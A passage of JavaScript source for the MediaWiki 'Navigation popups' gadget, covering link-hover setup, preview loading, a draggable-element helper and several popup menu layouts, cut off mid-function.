// ** as utf8, or the weird and wonderful characters in the namespaces **
// ** below will be completely broken. You can check with the show **
// ** changes button before submitting the edit. **
// ** test: مدیا מיוחד Мэдыя **
// ** **
// **********************************************************************
/* eslint-env browser */
/* global $, jQuery, mw, window */
// Fix later
/* global log, errlog, popupStrings, wikEdUseWikEd, WikEdUpdateFrame */
$(() => {
//////////////////////////////////////////////////
// Globals
//
// Trying to shove as many of these as possible into the pg (popup globals) object
const pg = {
api: {}, // MediaWiki API requests
re: {}, // regexps
ns: {}, // namespaces
string: {}, // translatable strings
wiki: {}, // local site info
user: {}, // current user info
misc: {}, // YUCK PHOOEY
option: {}, // options, see newOption etc
optionDefault: {}, // default option values
flag: {}, // misc flags
cache: {}, // page and image cache
structures: {}, // navlink structures
timer: {}, // all sorts of timers (too damn many)
counter: {}, // .. and all sorts of counters
current: {}, // state info
fn: {}, // functions
endoflist: null,
};
/* Bail if the gadget/script is being loaded twice */
/* An element with id "pg" would add a window.pg property, ignore such property */
if (window.pg && !(window.pg instanceof HTMLElement)) {
return;
}
/* Export to global context */
window.pg = pg;
/// Local Variables: ///
/// mode:c ///
/// End: ///
// ENDFILE: main.js
// STARTFILE: actions.js
function setupTooltips(container, remove, force, popData) {
log('setupTooltips, container=' + container + ', remove=' + remove);
if (!container) {
// the main initial call
if (
getValueOf('popupOnEditSelection') &&
document &&
document.editform &&
document.editform.wpTextbox1
) {
document.editform.wpTextbox1.onmouseup = doSelectionPopup;
}
// article/content is a structure-dependent thing
container = defaultPopupsContainer();
}
if (!remove && !force && container.ranSetupTooltipsAlready) {
return;
}
container.ranSetupTooltipsAlready = !remove;
let anchors;
anchors = container.getElementsByTagName('A');
setupTooltipsLoop(anchors, 0, 250, 100, remove, popData);
}
function defaultPopupsContainer() {
if (getValueOf('popupOnlyArticleLinks')) {
return (
document.querySelector('.skin-vector-2022 .vector-body') ||
document.getElementById('mw_content') ||
document.getElementById('content') ||
document.getElementById('article') ||
document
);
}
return document;
}
function setupTooltipsLoop(anchors, begin, howmany, sleep, remove, popData) {
log(simplePrintf('setupTooltipsLoop(%s,%s,%s,%s,%s)', arguments));
const finish = begin + howmany;
const loopend = Math.min(finish, anchors.length);
let j = loopend - begin;
log(
'setupTooltips: anchors.length=' +
anchors.length +
', begin=' +
begin +
', howmany=' +
howmany +
', loopend=' +
loopend +
', remove=' +
remove
);
const doTooltip = remove ? removeTooltip : addTooltip;
// try a faster (?) loop construct
if (j > 0) {
do {
const a = anchors[loopend - j];
if (typeof a === 'undefined' || !a || !a.href) {
log('got null anchor at index ' + loopend - j);
continue;
}
doTooltip(a, popData);
} while (--j);
}
if (finish < anchors.length) {
setTimeout(() => {
setupTooltipsLoop(anchors, finish, howmany, sleep, remove, popData);
}, sleep);
} else {
if (!remove && !getValueOf('popupTocLinks')) {
rmTocTooltips();
}
pg.flag.finishedLoading = true;
}
}
// eliminate popups from the TOC
// This also kills any onclick stuff that used to be going on in the toc
function rmTocTooltips() {
const toc = document.getElementById('toc');
if (toc) {
const tocLinks = toc.getElementsByTagName('A');
const tocLen = tocLinks.length;
for (let j = 0; j < tocLen; ++j) {
removeTooltip(tocLinks[j], true);
}
}
}
function addTooltip(a, popData) {
if (!isPopupLink(a)) {
return;
}
a.onmouseover = mouseOverWikiLink;
a.onmouseout = mouseOutWikiLink;
a.onmousedown = killPopup;
a.hasPopup = true;
a.popData = popData;
}
function removeTooltip(a) {
if (!a.hasPopup) {
return;
}
a.onmouseover = null;
a.onmouseout = null;
if (a.originalTitle) {
a.title = a.originalTitle;
}
a.hasPopup = false;
}
function removeTitle(a) {
if (!a.originalTitle) {
a.originalTitle = a.title;
}
a.title = '';
}
function restoreTitle(a) {
if (a.title || !a.originalTitle) {
return;
}
a.title = a.originalTitle;
}
function registerHooks(np) {
const popupMaxWidth = getValueOf('popupMaxWidth');
if (typeof popupMaxWidth === 'number') {
const setMaxWidth = function () {
np.mainDiv.style.maxWidth = popupMaxWidth + 'px';
np.maxWidth = popupMaxWidth;
};
np.addHook(setMaxWidth, 'unhide', 'before');
}
np.addHook(addPopupShortcuts, 'unhide', 'after');
np.addHook(rmPopupShortcuts, 'hide', 'before');
}
function removeModifierKeyHandler(a) {
//remove listeners for modifier key if any that were added in mouseOverWikiLink
document.removeEventListener('keydown', a.modifierKeyHandler, false);
document.removeEventListener('keyup', a.modifierKeyHandler, false);
}
function mouseOverWikiLink(evt) {
if (!evt && window.event) {
evt = window.event;
}
// if the modifier is needed, listen for it,
// we will remove the listener when we mouseout of this link or kill popup.
if (getValueOf('popupModifier')) {
// if popupModifierAction = enable, we should popup when the modifier is pressed
// if popupModifierAction = disable, we should popup unless the modifier is pressed
const action = getValueOf('popupModifierAction');
const key = action == 'disable' ? 'keyup' : 'keydown';
const a = this;
a.modifierKeyHandler = function (evt) {
mouseOverWikiLink2(a, evt);
};
document.addEventListener(key, a.modifierKeyHandler, false);
}
return mouseOverWikiLink2(this, evt);
}
/**
* Gets the references list item that the provided footnote link targets. This
* is typically a li element within the ol.references element inside the reflist.
*
* @param {Element} a - A footnote link.
* @return {Element|boolean} The targeted element, or false if one can't be found.
*/
function footnoteTarget(a) {
const aTitle = Title.fromAnchor(a);
// We want ".3A" rather than "%3A" or "?" here, so use the anchor property directly
const anch = aTitle.anchor;
if (!/^(cite_note-|_note-|endnote)/.test(anch)) {
return false;
}
const lTitle = Title.fromURL(location.href);
if (lTitle.toString(true) !== aTitle.toString(true)) {
return false;
}
let el = document.getElementById(anch);
while (el && typeof el.nodeName === 'string') {
const nt = el.nodeName.toLowerCase();
if (nt === 'li') {
return el;
} else if (nt === 'body') {
return false;
} else if (el.parentNode) {
el = el.parentNode;
} else {
return false;
}
}
return false;
}
function footnotePreview(x, navpop) {
let content = x.innerHTML;
const ol = x.closest('ol.mw-subreference-list');
if (ol) {
const referenceText = ol.parentElement.querySelector(
':scope > .reference-text'
);
if (referenceText) {
content =
'<div>' +
referenceText.outerHTML +
'<div style="display: block; margin-bottom: 0.7em;">' +
content +
'</div></div>';
}
}
setPopupHTML('<hr />' + content, 'popupPreview', navpop.idNumber);
}
function modifierPressed(evt) {
const mod = getValueOf('popupModifier');
if (!mod) {
return false;
}
if (!evt && window.event) {
evt = window.event;
}
return evt && mod && evt[mod.toLowerCase() + 'Key'];
}
// Checks if the correct modifier pressed/unpressed if needed
function isCorrectModifier(a, evt) {
if (!getValueOf('popupModifier')) {
return true;
}
// if popupModifierAction = enable, we should popup when the modifier is pressed
// if popupModifierAction = disable, we should popup unless the modifier is pressed
const action = getValueOf('popupModifierAction');
return (
(action == 'enable' && modifierPressed(evt)) || (action == 'disable' && !modifierPressed(evt))
);
}
function mouseOverWikiLink2(a, evt) {
if (!isCorrectModifier(a, evt)) {
return;
}
if (getValueOf('removeTitles')) {
removeTitle(a);
}
if (a == pg.current.link && a.navpopup && a.navpopup.isVisible()) {
return;
}
pg.current.link = a;
if (getValueOf('simplePopups') && !pg.option.popupStructure) {
// reset *default value* of popupStructure
setDefault('popupStructure', 'original');
}
const article = new Title().fromAnchor(a);
// set global variable (ugh) to hold article (wikipage)
pg.current.article = article;
if (!a.navpopup) {
a.navpopup = newNavpopup(a, article);
pg.current.linksHash[a.href] = a.navpopup;
pg.current.links.push(a);
}
if (a.navpopup.pending === null || a.navpopup.pending !== 0) {
// either fresh popups or those with unfinshed business are redone from scratch
simplePopupContent(a, article);
}
a.navpopup.showSoonIfStable(a.navpopup.delay);
clearInterval(pg.timer.checkPopupPosition);
pg.timer.checkPopupPosition = setInterval(checkPopupPosition, 600);
if (getValueOf('simplePopups')) {
if (getValueOf('popupPreviewButton') && !a.simpleNoMore) {
const d = document.createElement('div');
d.className = 'popupPreviewButtonDiv';
const s = document.createElement('span');
d.appendChild(s);
s.className = 'popupPreviewButton';
s['on' + getValueOf('popupPreviewButtonEvent')] = function () {
a.simpleNoMore = true;
d.style.display = 'none';
nonsimplePopupContent(a, article);
};
s.innerHTML = popupString('show preview');
setPopupHTML(d, 'popupPreview', a.navpopup.idNumber);
}
}
if (a.navpopup.pending !== 0) {
nonsimplePopupContent(a, article);
}
}
// simplePopupContent: the content that do not require additional download
// (it is shown even when simplePopups is true)
function simplePopupContent(a, article) {
/* FIXME hack */ a.navpopup.hasPopupMenu = false;
a.navpopup.setInnerHTML(popupHTML(a));
fillEmptySpans({ navpopup: a.navpopup });
if (getValueOf('popupDraggable')) {
let dragHandle = getValueOf('popupDragHandle') || null;
if (dragHandle && dragHandle != 'all') {
dragHandle += a.navpopup.idNumber;
}
setTimeout(() => {
a.navpopup.makeDraggable(dragHandle);
}, 150);
}
if (getValueOf('popupRedlinkRemoval') && a.className == 'new') {
setPopupHTML('<br>' + popupRedlinkHTML(article), 'popupRedlink', a.navpopup.idNumber);
}
}
function debugData(navpopup) {
if (getValueOf('popupDebugging') && navpopup.idNumber) {
setPopupHTML(
'idNumber=' + navpopup.idNumber + ', pending=' + navpopup.pending,
'popupError',
navpopup.idNumber
);
}
}
function newNavpopup(a, article) {
const navpopup = new Navpopup();
navpopup.fuzz = 5;
navpopup.delay = getValueOf('popupDelay') * 1000;
// increment global counter now
navpopup.idNumber = ++pg.idNumber;
navpopup.parentAnchor = a;
navpopup.parentPopup = a.popData && a.popData.owner;
navpopup.article = article;
registerHooks(navpopup);
return navpopup;
}
// Should we show nonsimple context?
// If simplePopups is set to true, then we do not show nonsimple context,
// but if a bottom "show preview" was clicked we do show nonsimple context
function shouldShowNonSimple(a) {
return !getValueOf('simplePopups') || a.simpleNoMore;
}
// Should we show nonsimple context govern by the option (e.g. popupUserInfo)?
// If the user explicitly asked for nonsimple context by setting the option to true,
// then we show it even in nonsimple mode.
function shouldShow(a, option) {
if (shouldShowNonSimple(a)) {
return getValueOf(option);
} else {
return typeof window[option] != 'undefined' && window[option];
}
}
function nonsimplePopupContent(a, article) {
let diff = null,
history = null;
const params = parseParams(a.href);
const oldid = typeof params.oldid == 'undefined' ? null : params.oldid;
if (shouldShow(a, 'popupPreviewDiffs')) {
diff = params.diff;
}
if (shouldShow(a, 'popupPreviewHistory')) {
history = params.action == 'history';
}
a.navpopup.pending = 0;
const referenceElement = footnoteTarget(a);
if (referenceElement) {
footnotePreview(referenceElement, a.navpopup);
} else if (diff || diff === 0) {
loadDiff(article, oldid, diff, a.navpopup);
} else if (history) {
loadAPIPreview('history', article, a.navpopup);
} else if (shouldShowNonSimple(a) && pg.re.contribs.test(a.href)) {
loadAPIPreview('contribs', article, a.navpopup);
} else if (shouldShowNonSimple(a) && pg.re.backlinks.test(a.href)) {
loadAPIPreview('backlinks', article, a.navpopup);
} else if (
// FIXME should be able to get all preview combinations with options
article.namespaceId() == pg.nsImageId &&
(shouldShow(a, 'imagePopupsForImages') || !anchorContainsImage(a))
) {
loadAPIPreview('imagepagepreview', article, a.navpopup);
loadImage(article, a.navpopup);
} else {
if (article.namespaceId() == pg.nsCategoryId && shouldShow(a, 'popupCategoryMembers')) {
loadAPIPreview('category', article, a.navpopup);
} else if (
(article.namespaceId() == pg.nsUserId || article.namespaceId() == pg.nsUsertalkId) &&
shouldShow(a, 'popupUserInfo')
) {
loadAPIPreview('userinfo', article, a.navpopup);
}
if (shouldShowNonSimple(a)) {
startArticlePreview(article, oldid, a.navpopup);
}
}
}
function pendingNavpopTask(navpop) {
if (navpop && navpop.pending === null) {
navpop.pending = 0;
}
++navpop.pending;
debugData(navpop);
}
function completedNavpopTask(navpop) {
if (navpop && navpop.pending) {
--navpop.pending;
}
debugData(navpop);
}
function startArticlePreview(article, oldid, navpop) {
navpop.redir = 0;
loadPreview(article, oldid, navpop);
}
function loadPreview(article, oldid, navpop) {
if (!navpop.redir) {
navpop.originalArticle = article;
}
article.oldid = oldid;
loadAPIPreview('revision', article, navpop);
}
function loadPreviewFromRedir(redirMatch, navpop) {
// redirMatch is a regex match
const target = new Title().fromWikiText(redirMatch[2]);
// overwrite (or add) anchor from original target
// mediawiki does overwrite; eg [[User:Lupin/foo3#Done]]
if (navpop.article.anchor) {
target.anchor = navpop.article.anchor;
}
navpop.redir++;
navpop.redirTarget = target;
const warnRedir = redirLink(target, navpop.article);
setPopupHTML(warnRedir, 'popupWarnRedir', navpop.idNumber);
navpop.article = target;
fillEmptySpans({ redir: true, redirTarget: target, navpopup: navpop });
return loadPreview(target, null, navpop);
}
function insertPreview(download) {
if (!download.owner) {
return;
}
const redirMatch = pg.re.redirect.exec(download.data);
if (download.owner.redir === 0 && redirMatch) {
loadPreviewFromRedir(redirMatch, download.owner);
return;
}
if (download.owner.visible || !getValueOf('popupLazyPreviews')) {
insertPreviewNow(download);
} else {
const id = download.owner.redir ? 'PREVIEW_REDIR_HOOK' : 'PREVIEW_HOOK';
download.owner.addHook(
() => {
insertPreviewNow(download);
return true;
},
'unhide',
'after',
id
);
}
}
function insertPreviewNow(download) {
if (!download.owner) {
return;
}
const wikiText = download.data;
const navpop = download.owner;
const art = navpop.redirTarget || navpop.originalArticle;
makeFixDabs(wikiText, navpop);
if (getValueOf('popupSummaryData')) {
getPageInfo(wikiText, download);
setPopupTrailer(getPageInfo(wikiText, download), navpop.idNumber);
}
let imagePage = '';
if (art.namespaceId() == pg.nsImageId) {
imagePage = art.toString();
} else {
imagePage = getValidImageFromWikiText(wikiText);
}
if (imagePage) {
loadImage(Title.fromWikiText(imagePage), navpop);
}
if (getValueOf('popupPreviews')) {
insertArticlePreview(download, art, navpop);
}
}
function insertArticlePreview(download, art, navpop) {
if (download && typeof download.data == typeof '') {
if (art.namespaceId() == pg.nsTemplateId && getValueOf('popupPreviewRawTemplates')) {
// FIXME compare/consolidate with diff escaping code for wikitext
const h =
'<hr /><span style="font-family: monospace;">' +
download.data.entify().split('\\n').join('<br />\\n') +
'</span>';
setPopupHTML(h, 'popupPreview', navpop.idNumber);
} else {
const p = prepPreviewmaker(download.data, art, navpop);
p.showPreview();
}
}
}
function prepPreviewmaker(data, article, navpop) {
// deal with tricksy anchors
const d = anchorize(data, article.anchorString());
const urlBase = joinPath([pg.wiki.articlebase, article.urlString()]);
const p = new Previewmaker(d, urlBase, navpop);
return p;
}
// Try to imitate the way mediawiki generates HTML anchors from section titles
function anchorize(d, anch) {
if (!anch) {
return d;
}
const anchRe = RegExp(
'(?:=+\\s*' +
literalizeRegex(anch).replace(/[_ ]/g, '[_ ]') +
'\\s*=+|\\{\\{\\s*' +
getValueOf('popupAnchorRegexp') +
'\\s*(?:\\|[^|}]*)*?\\s*' +
literalizeRegex(anch) +
'\\s*(?:\\|[^}]*)?}})'
);
const match = d.match(anchRe);
if (match && match.length > 0 && match[0]) {
return d.substring(d.indexOf(match[0]));
}
// now try to deal with == foo [[bar|baz]] boom == -> #foo_baz_boom
const lines = d.split('\n');
for (let i = 0; i < lines.length; ++i) {
lines[i] = lines[i]
.replace(/[[]{2}([^|\]]*?[|])?(.*?)[\]]{2}/g, '$2')
.replace(/'''([^'])/g, '$1')
.replace(/''([^'])/g, '$1');
if (lines[i].match(anchRe)) {
return d.split('\n').slice(i).join('\n').replace(/^[^=]*/, '');
}
}
return d;
}
function killPopup() {
removeModifierKeyHandler(this);
if (getValueOf('popupShortcutKeys')) {
rmPopupShortcuts();
}
if (!pg) {
return;
}
if (pg.current.link && pg.current.link.navpopup) {
pg.current.link.navpopup.banish();
}
pg.current.link = null;
abortAllDownloads();
if (pg.timer.checkPopupPosition) {
clearInterval(pg.timer.checkPopupPosition);
pg.timer.checkPopupPosition = null;
}
return true; // preserve default action
}
// ENDFILE: actions.js
// STARTFILE: domdrag.js
/**
* @file
* The {@link Drag} object, which enables objects to be dragged around.
*
* <pre>
* *************************************************
* dom-drag.js
* 09.25.2001
* www.youngpup.net
* **************************************************
* 10.28.2001 - fixed minor bug where events
* sometimes fired off the handle, not the root.
* *************************************************
* Pared down, some hooks added by [[User:Lupin]]
*
* Copyright Aaron Boodman.
* Saying stupid things daily since March 2001.
* </pre>
*/
/**
* Creates a new Drag object. This is used to make various DOM elements draggable.
*
* @constructor
*/
function Drag() {
/**
* Condition to determine whether or not to drag. This function should take one parameter,
* an Event. To disable this, set it to <code>null</code>.
*
* @type {Function}
*/
this.startCondition = null;
/**
* Hook to be run when the drag finishes. This is passed the final coordinates of the
* dragged object (two integers, x and y). To disables this, set it to <code>null</code>.
*
* @type {Function}
*/
this.endHook = null;
}
/**
* Gets an event in a cross-browser manner.
*
* @param {Event} e
* @private
*/
Drag.prototype.fixE = function (e) {
if (typeof e == 'undefined') {
e = window.event;
}
if (typeof e.layerX == 'undefined') {
e.layerX = e.offsetX;
}
if (typeof e.layerY == 'undefined') {
e.layerY = e.offsetY;
}
return e;
};
/**
* Initialises the Drag instance by telling it which object you want to be draggable, and what
* you want to drag it by.
*
* @param {HTMLElement} o The "handle" by which <code>oRoot</code> is dragged.
* @param {HTMLElement} oRoot The object which moves when <code>o</code> is dragged, or <code>o</code> if omitted.
*/
Drag.prototype.init = function (o, oRoot) {
const dragObj = this;
this.obj = o;
o.onmousedown = function (e) {
dragObj.start.apply(dragObj, [e]);
};
o.dragging = false;
o.popups_draggable = true;
o.hmode = true;
o.vmode = true;
o.root = oRoot || o;
if (isNaN(parseInt(o.root.style.left, 10))) {
o.root.style.left = '0px';
}
if (isNaN(parseInt(o.root.style.top, 10))) {
o.root.style.top = '0px';
}
o.root.onthisStart = function () {};
o.root.onthisEnd = function () {};
o.root.onthis = function () {};
};
/**
* Starts the drag.
*
* @private
* @param {Event} e
*/
Drag.prototype.start = function (e) {
const o = this.obj; // = this;
e = this.fixE(e);
if (this.startCondition && !this.startCondition(e)) {
return;
}
const y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom, 10);
const x = parseInt(o.hmode ? o.root.style.left : o.root.style.right, 10);
o.root.onthisStart(x, y);
o.lastMouseX = e.clientX;
o.lastMouseY = e.clientY;
const dragObj = this;
o.onmousemoveDefault = document.onmousemove;
o.dragging = true;
document.onmousemove = function (e) {
dragObj.drag.apply(dragObj, [e]);
};
document.onmouseup = function (e) {
dragObj.end.apply(dragObj, [e]);
};
return false;
};
/**
* Does the drag.
*
* @param {Event} e
* @private
*/
Drag.prototype.drag = function (e) {
e = this.fixE(e);
const o = this.obj;
const ey = e.clientY;
const ex = e.clientX;
const y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom, 10);
const x = parseInt(o.hmode ? o.root.style.left : o.root.style.right, 10);
let nx, ny;
nx = x + (ex - o.lastMouseX) * (o.hmode ? 1 : -1);
ny = y + (ey - o.lastMouseY) * (o.vmode ? 1 : -1);
this.obj.root.style[o.hmode ? 'left' : 'right'] = nx + 'px';
this.obj.root.style[o.vmode ? 'top' : 'bottom'] = ny + 'px';
this.obj.lastMouseX = ex;
this.obj.lastMouseY = ey;
this.obj.root.onthis(nx, ny);
return false;
};
/**
* Ends the drag.
*
* @private
*/
Drag.prototype.end = function () {
document.onmousemove = this.obj.onmousemoveDefault;
document.onmouseup = null;
this.obj.dragging = false;
if (this.endHook) {
this.endHook(
parseInt(this.obj.root.style[this.obj.hmode ? 'left' : 'right'], 10),
parseInt(this.obj.root.style[this.obj.vmode ? 'top' : 'bottom'], 10)
);
}
};
// ENDFILE: domdrag.js
// STARTFILE: structures.js
pg.structures.original = {};
pg.structures.original.popupLayout = function () {
return [
'popupError',
'popupImage',
'popupTopLinks',
'popupTitle',
'popupUserData',
'popupData',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
pg.structures.original.popupRedirSpans = function () {
return [
'popupRedir',
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
];
};
pg.structures.original.popupTitle = function (x) {
log('defaultstructure.popupTitle');
if (!getValueOf('popupNavLinks')) {
return navlinkStringToHTML('<b><<mainlink>></b>', x.article, x.params);
}
return '';
};
pg.structures.original.popupTopLinks = function (x) {
log('defaultstructure.popupTopLinks');
if (getValueOf('popupNavLinks')) {
return navLinksHTML(x.article, x.hint, x.params);
}
return '';
};
pg.structures.original.popupImage = function (x) {
log('original.popupImage, x.article=' + x.article + ', x.navpop.idNumber=' + x.navpop.idNumber);
return imageHTML(x.article, x.navpop.idNumber);
};
pg.structures.original.popupRedirTitle = pg.structures.original.popupTitle;
pg.structures.original.popupRedirTopLinks = pg.structures.original.popupTopLinks;
function copyStructure(oldStructure, newStructure) {
pg.structures[newStructure] = {};
for (const prop in pg.structures[oldStructure]) {
pg.structures[newStructure][prop] = pg.structures[oldStructure][prop];
}
}
copyStructure('original', 'nostalgia');
pg.structures.nostalgia.popupTopLinks = function (x) {
let str = '';
str += '<b><<mainlink|shortcut= >></b>';
// user links
// contribs - log - count - email - block
// count only if applicable; block only if popupAdminLinks
str += 'if(user){<br><<contribs|shortcut=c>>';
str += 'if(wikimedia){*<<count|shortcut=#>>}';
str += 'if(ipuser){}else{*<<email|shortcut=E>>}if(admin){*<<block|shortcut=b>>}}';
// editing links
// talkpage -> edit|new - history - un|watch - article|edit
// other page -> edit - history - un|watch - talk|edit|new
const editstr = '<<edit|shortcut=e>>';
const editOldidStr =
'if(oldid){<<editOld|shortcut=e>>|<<revert|shortcut=v|rv>>|<<edit|cur>>}else{' +
editstr +
'}';
const historystr = '<<history|shortcut=h>>';
const watchstr = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
str +=
'<br>if(talk){' +
editOldidStr +
'|<<new|shortcut=+>>' +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<article|shortcut=a>></b>|<<editArticle|edit>>' +
'}else{' + // not a talk page
editOldidStr +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<talk|shortcut=t>></b>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>}';
// misc links
str += '<br><<whatLinksHere|shortcut=l>>*<<relatedChanges|shortcut=r>>';
str += 'if(admin){<br>}else{*}<<move|shortcut=m>>';
// admin links
str +=
'if(admin){*<<unprotect|unprotectShort>>|<<protect|shortcut=p>>*' +
'<<undelete|undeleteShort>>|<<delete|shortcut=d>>}';
return navlinkStringToHTML(str, x.article, x.params);
};
pg.structures.nostalgia.popupRedirTopLinks = pg.structures.nostalgia.popupTopLinks;
/** -- fancy -- */
copyStructure('original', 'fancy');
pg.structures.fancy.popupTitle = function (x) {
return navlinkStringToHTML('<font size=+0><<mainlink>></font>', x.article, x.params);
};
pg.structures.fancy.popupTopLinks = function (x) {
const hist =
'<<history|shortcut=h|hist>>|<<lastEdit|shortcut=/|last>>|<<editors|shortcut=E|eds>>';
const watch = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
const move = '<<move|shortcut=m|move>>';
return navlinkStringToHTML(
'if(talk){' +
'<<edit|shortcut=e>>|<<new|shortcut=+|+>>*' +
hist +
'*' +
'<<article|shortcut=a>>|<<editArticle|edit>>' +
'*' +
watch +
'*' +
move +
'}else{<<edit|shortcut=e>>*' +
hist +
'*<<talk|shortcut=t|>>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>' +
'*' +
watch +
'*' +
move +
'}<br>',
x.article,
x.params
);
};
pg.structures.fancy.popupOtherLinks = function (x) {
const admin =
'<<unprotect|unprotectShort>>|<<protect|shortcut=p>>*<<undelete|undeleteShort>>|<<delete|shortcut=d|del>>';
let user = '<<contribs|shortcut=c>>if(wikimedia){|<<count|shortcut=#|#>>}';
user +=
'if(ipuser){|<<arin>>}else{*<<email|shortcut=E|' +
popupString('email') +
'>>}if(admin){*<<block|shortcut=b>>}';
const normal = '<<whatLinksHere|shortcut=l|links here>>*<<relatedChanges|shortcut=r|related>>';
return navlinkStringToHTML(
'<br>if(user){' + user + '*}if(admin){' + admin + 'if(user){<br>}else{*}}' + normal,
x.article,
x.params
);
};
pg.structures.fancy.popupRedirTitle = pg.structures.fancy.popupTitle;
pg.structures.fancy.popupRedirTopLinks = pg.structures.fancy.popupTopLinks;
pg.structures.fancy.popupRedirOtherLinks = pg.structures.fancy.popupOtherLinks;
/** -- fancy2 -- */
// hack for [[User:MacGyverMagic]]
copyStructure('fancy', 'fancy2');
pg.structures.fancy2.popupTopLinks = function (x) {
// hack out the <br> at the end and put one at the beginning
return '<br>' + pg.structures.fancy.popupTopLinks(x).replace(/<br>$/i, '');
};
pg.structures.fancy2.popupLayout = function () {
// move toplinks to after the title
return [
'popupError',
'popupImage',
'popupTitle',
'popupUserData',
'popupData',
'popupTopLinks',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
/** -- menus -- */
copyStructure('original', 'menus');
pg.structures.menus.popupLayout = function () {
return [
'popupError',
'popupImage',
'popupTopLinks',
'popupTitle',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupUserData',
'popupData',
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
pg.structures.menus.popupTopLinks = function (x, shorter) {
// FIXME maybe this stuff should be cached
const s = [];
const dropclass = 'popup_drop';
const enddiv = '</div>';
let hist = '<<history|shortcut=h>>';
if (!shorter) {
hist = '<menurow>' + hist + '|<<historyfeed|rss>>|<<editors|shortcut=E>></menurow>';
}
const lastedit = '<<lastEdit|shortcut=/|show last edit>>';
const thank = 'if(diff){<<thank|send thanks>>}';
const jsHistory = '<<lastContrib|last set of edits>><<sinceMe|changes since mine>>';
const linkshere = '<<whatLinksHere|shortcut=l|what links here>>';
const related = '<<relatedChanges|shortcut=r|related changes>>';
const search =
'<menurow><<search|shortcut=s>>if(wikimedia){|<<globalsearch|shortcut=g|global>>}' +
'|<<google|shortcut=G|web>></menurow>';
const watch = '<menurow><<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>></menurow>';
const protect =
'<menurow><<unprotect|unprotectShort>>|' +
'<<protect|shortcut=p>>|<<protectlog|log>></menurow>';
const del =
'<menurow><<undelete|undeleteShort>>|<<delete|shortcut=d>>|<<deletelog|log>></menurow>';
const move = '<<move|shortcut=m|move page>>';
const nullPurge = '<menurow><<nullEdit|shortcut=n|null edit>>|<<purge|shortcut=P>></menurow>';
const viewOptions = '<menurow><<view|shortcut=v>>|<<render|shortcut=S>>|<<raw>></menurow>';
const editRow =
'if(oldid){' +
'<menurow><<edit|shortcut=e>>|<<editOld|shortcut=e|this revision>></menurow>' +
'<menurow><<revert|shortcut=v>>|<<undo>></menurow>' +
'}else{<<edit|shortcut=e>>}';
const markPatrolled = 'if(rcid){<<markpatrolled|mark patrolled>>}';
const newTopic = 'if(talk){<<new|shortcut=+|new topic>>}';
const protectDelete = 'if(admin){' + protect + del + '}';
if (getValueOf('popupActionsMenu')) {
s.push('<<mainlink>>*' + menuTitle(dropclass, 'actions'));
} else {
s.push('<div class="' + dropclass + '"><<mainlink>>');
}
s.push('<menu>');
s.push(editRow + markPatrolled + newTopic + hist + lastedit + thank);
if (!shorter) {
s.push(jsHistory);
}
s.push(move + linkshere + related);
if (!shorter) {
s.push(nullPurge + search);
}
if (!shorter) {
s.push(viewOptions);
}
s.push('<hr />' + watch + protectDelete);
s.push(
'<hr />' +
'if(talk){<<article|shortcut=a|view article>><<editArticle|edit article>>}' +
'else{<<talk|shortcut=t|talk page>><<editTalk|edit talk>>' +
'<<newTalk|shortcut=+|new topic>>}</menu>' +
enddiv
);
// user menu starts here
const email = '<<email|shortcut=E|email user>>';
const contribs =
'if(wikimedia){<menurow>}<<contribs|shortcut=c|contributions>>if(wikimedia){</menurow>}' +
'if(admin){<menurow><<deletedContribs>></menurow>}';
s.push('if(user){*' + menuTitle(dropclass, 'user'));
s.push('<menu>');
s.push('<menurow><<userPage|shortcut=u|user page>>|<<userSpace|space>></menurow>');
s.push(
'<<userTalk|shortcut=t|user talk>><<editUserTalk|edit user talk>>' +
'<<newUserTalk|shortcut=+|leave comment>>'
);
if (!shorter) {
s.push('if(ipuser){<<arin>>}else{' + email + '}');
} else {
s.push('if(ipuser){}else{' + email + '}');
}
s.push('<hr />' + contribs + '<<userlog|shortcut=L|user log>>');
s.push('if(wikimedia){<<count|shortcut=#|edit counter>>}');
s.push(
'if(admin){<menurow><<unblock|unblockShort>>|<<block|shortcut=b|block user>></menurow>}'
);
s.push('<<blocklog|shortcut=B|block log>>');
s.push('</menu>' + enddiv + '}');
// popups menu starts here
if (getValueOf('popupSetupMenu') && !x.navpop.hasPopupMenu /* FIXME: hack */) {
x.navpop.hasPopupMenu = true;
s.push('*' + menuTitle(dropclass, 'popupsMenu') + '<menu>');
s.push('<<togglePreviews|toggle previews>>');
s.push('<<purgePopups|reset>>');
s.push('<<disablePopups|disable>>');
s.push('</menu>' + enddiv);
}
return navlinkStringToHTML(s.join(''), x.article, x.params);
};
function menuTitle(dropclass, s) {
const text = popupString(s); // i18n
const len = text.length;
return '<div class="' + dropclass + '" style="--navpop-m-len:' + len + 'ch"><a href="#" noPopup=1>' + text + '</a>';
}
pg.structures.menus.popupRedirTitle = pg.structures.menus.popupTitle;
pg.structures.menus.popupRedirTopLinks = pg.structures.menus.popupTopLinks;
copyStructure('menus', 'shortmenus');
pg.structures.shortmenus.popupTopLinks = function (x) {
